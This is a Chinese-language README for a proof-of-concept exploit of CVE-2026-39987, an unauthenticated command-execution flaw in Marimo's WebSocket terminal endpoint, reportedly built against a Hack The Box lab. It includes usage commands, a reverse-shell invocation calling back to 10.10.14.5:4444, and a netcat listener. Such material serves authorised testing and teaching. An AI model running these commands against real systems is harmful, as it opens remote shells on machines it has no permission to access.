CVE-2026-39987 — Marimo WebSocket RCE PoC

CVE-2026-39987 的概念验证，演示通过存在漏洞的 WebSocket 终端端点实现远程命令执行。

免责声明： 本 PoC 仅用于授权的安全测试和教育目的。请仅针对您拥有或已获得明确测试许可的系统使用。

描述

该漏洞允许未经身份验证的用户与应用程序的 WebSocket 终端端点进行交互并远程执行命令。

该 PoC 连接到：

wss://<target>/terminal/ws

并演示通过 WebSocket 连接执行命令。

在开发/测试此 PoC 时使用的目标是授权的 Hack The Box 实验环境。

要求

• Python 3
• websocket-client

安装所需的库：

pip3 install websocket-client

用法

python3 test.py <domain>

示例：

python3 test.py somesite.com

该 PoC 建立 WebSocket 连接并执行测试命令。

反向 Shell

该 PoC 还支持反向 shell 选项：

python3 exploit.py <domain> --reverse-shell <IP> --port <PORT>

示例：

python3 exploit.py somesite.com --reverse-shell 10.10.14.5 --port 4444

在执行 PoC 之前启动监听器：

nc -lvnp 4444

技术细节

该应用程序暴露了一个无需身份验证的 WebSocket 终端端点。

该 PoC：

1. 建立 WebSocket 连接。
2. 禁用 TLS 证书验证，因为实验目标使用自签名证书。
3. 消费初始终端提示符。
4. 通过 WebSocket 发送命令。
5. 读取生成的终端输出。

初始的 ws.recv() 很重要，因为服务器在建立连接后立即发送 shell 提示符。